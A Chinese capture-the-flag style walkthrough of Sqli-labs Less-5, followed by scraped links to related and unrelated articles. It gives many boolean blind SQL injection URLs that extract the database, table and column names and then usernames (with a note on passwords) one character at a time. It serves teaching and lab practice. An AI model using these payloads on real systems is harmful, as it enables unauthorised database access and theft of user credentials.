Sqli-LABS通关笔录-5[SQL布尔型盲注]
看下图:

直接构造出Payload:
http://127.0.0.1/sql/Less-5/index.php?id=-1' or 1=1 --+
麻烦来了,没有爆出显示位

来看看源码,由源码可以看得出来,除了一个echo "You are in ....';以外再无其他输出。故由此得出为布尔型盲注

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>115--+ 非正常 http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>116--+ 非正常 http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))=115--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),2,1))=101--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),3,1))=99--+ 正常
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+
正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正确
注:select下的limit是第几个表。
substr下的是截取的表内容。
当前库下(注入点连接的数据库)第一个表ASCII码为114 解码为r
当前库下(注入点连接的数据库)第一个表ASCII码为101 解码为e
当前库下(注入点连接的数据库)第一个表ASCII码为.... 解码为...
............................................》》》推出第一个表的表明为:referer《《《.....
一下来推第二个表的内容:
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117--+ 正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),2,1))=97--+ 正确
当前库下(注入点连接的数据库)第二个表ASCII码为117 解码为u
当前库下(注入点连接的数据库)第二个表ASCII码为97 解码为a
当前库下(注入点连接的数据库)第一个表ASCII码为.... 解码为...
............................................》》》推出第二个表的表明为:uagents《《《.....
mysql> use security;
Database changed
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails |
| referers |
| uagents |
| users |
+--------------------+
4 rows in set (0.00 sec)
00x4 猜解字段
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+ 105的ASCII码为:i =》该字段为:id http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117--+ 117的ASCII码为:u =>该字段为:username http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1,1))=112--+ 112的ASCII码为:p =>该字段为:password
有图可见只有三个字段,且程序是从0开始的。所以到2为止。
当为3时就报错了。
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>1--+

00x5 猜解内容
格式:httP://127.0.0.1/sql/less-5/index.php?id=1' and ascii(substr((select 字段 from 数据库.表明 order by id limit 0,1),1,1)>ASCOO码--+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>67--+正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>68--+ 正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))=68--+ 正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),2,1))=117--+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),3,1))=109--+
.....................................................................................................................................
最终解码后为:Dumb
格式:http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select 字段 from 数据库.表名 order by id limit 1,1),1,1))=65 --+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),1,1))=65--+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),2,1))=110--+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),3,1))=103--+
.....................................................................................................................................
最终解码后为:Angelina
#注:上面两个测试的是username,如果要猜解密码,记得改一下就可以。

Sqli-LABS通关笔录-5[SQL布尔型盲注]的更多相关文章
- 【Python】测试布尔型盲注脚本
sqli-labs第八关:单引号布尔型盲注,手工测出database长度,个人觉得手工比较快 然后使用脚本测database内容,这个脚本就比手工快多了,脚本内容如下: import sys impo ...
- sql注入--bool盲注,时间盲注
盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...
- SQL注入之Boolean型盲注
什么是Boolean型注入 Boolean型的注入意思就是页面返回的结果是Boolean型的,通过构造SQL判断语句,查看页面的返回结果是否报错,页面返回是否正常等来判断哪些SQL判断条件时成立的,通 ...
- (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析
一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...
- 深入浅出带你玩转sqlilabs(五)-布尔/延时盲注与二次注入
SQL测试-基于布尔,延时盲注 布尔,延时注入常用到的判断语句 regexp regexp '^xiaodi[a-z]' 匹配xiaodi及xiaodi...等 if if(条件,5,0) 条件成立 ...
- 渗透之路基础 -- SQL进阶(盲注和报错注入)
SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...
- (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析
一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...
- Oracle基于布尔的盲注总结
0x01 decode 函数布尔盲注 decode(字段或字段的运算,值1,值2,值3) 这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3 当然值1,值2,值3也可以 ...
- Blind SQL injection:盲注详解
什么是盲注? 当应用程序易受SQL注入攻击,但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息时,就会出现盲SQL注入. 对于盲目SQL注入漏洞,许多技术(如联合攻击)都是无效的,因 ...
随机推荐
- Oracle EBS WMS功能介绍(二)
Oracle EBS WMS功能介绍(二) (版权声明,本人原创或者翻译的文章如需转载,如转载用于个人学习,请注明出处.否则请与本人联系,违者必究) 出货物流逻辑主要包括 1. 打包.能够进 ...
- 【微信小程序】解决 竖向<scroll-view>组件 “竖向滚动页面出现遮挡”问题
问题图: 问题原因: <scroll-view class="scroll-container" upper-threshold="{{sortPanelDist} ...
- vim删除文件第n行到结尾、或某段内容
1. 编辑文件 vim myShell.sh 2. 转到文件末尾 G 3. 或者转到删除内容最后的行 :set nu #显示行号,便于确定哪行 200G #光标定到200行,表示要删除n-200行的内 ...
- 初步了解“C#反射”
来源:http://zhidao.baidu.com/link?url=YzuEaWpYMxYV86bAFVmSAGYtXEzkJ_ndMyZ69QuvNJfikwXvlmtP42hAslGFS2uu ...
- HDUOJ---携程员工运动会场地问题
携程员工运动会场地问题 Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others)Total ...
- Ueditor编辑旧文章,从数据库中取出要修改的内容
Ueditor编辑旧文章,从数据库中取出要修改的内容然后放置到编辑器中: <script type="text/plain" id="editor"> ...
- UltraEdit程序设置添加到右键菜单
http://hellofs.blog.51cto.com/6109153/1180681 以前安装UltraEdit软件,在安装过程中选择将其添加到右键菜单,安装完成后就可以正常显示在右键菜单,这样 ...
- JQuery中事件one、bind、unbind、live、delegate、on、off、trigger、triggerHandler的各种使用区别
JQuery事件one,支持参数 <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> & ...
- 订阅mosquitto服务器状态各主题
mosquitto_sub -v -t \$SYS/broker/client MQTT客户端可以通过订阅位于$SYS层次下的主题来查看mosquitto服务器的状态信息.标记为Static的主题对于 ...
- Python tuple 函数
描述 Python 元组 tuple() 函数将列表转换为元组. 语法 以下是 tuple 的语法: tuple( seq ) 参数 seq -- 要转换为元组的序列. 返回值 返回元组. 实例 以下 ...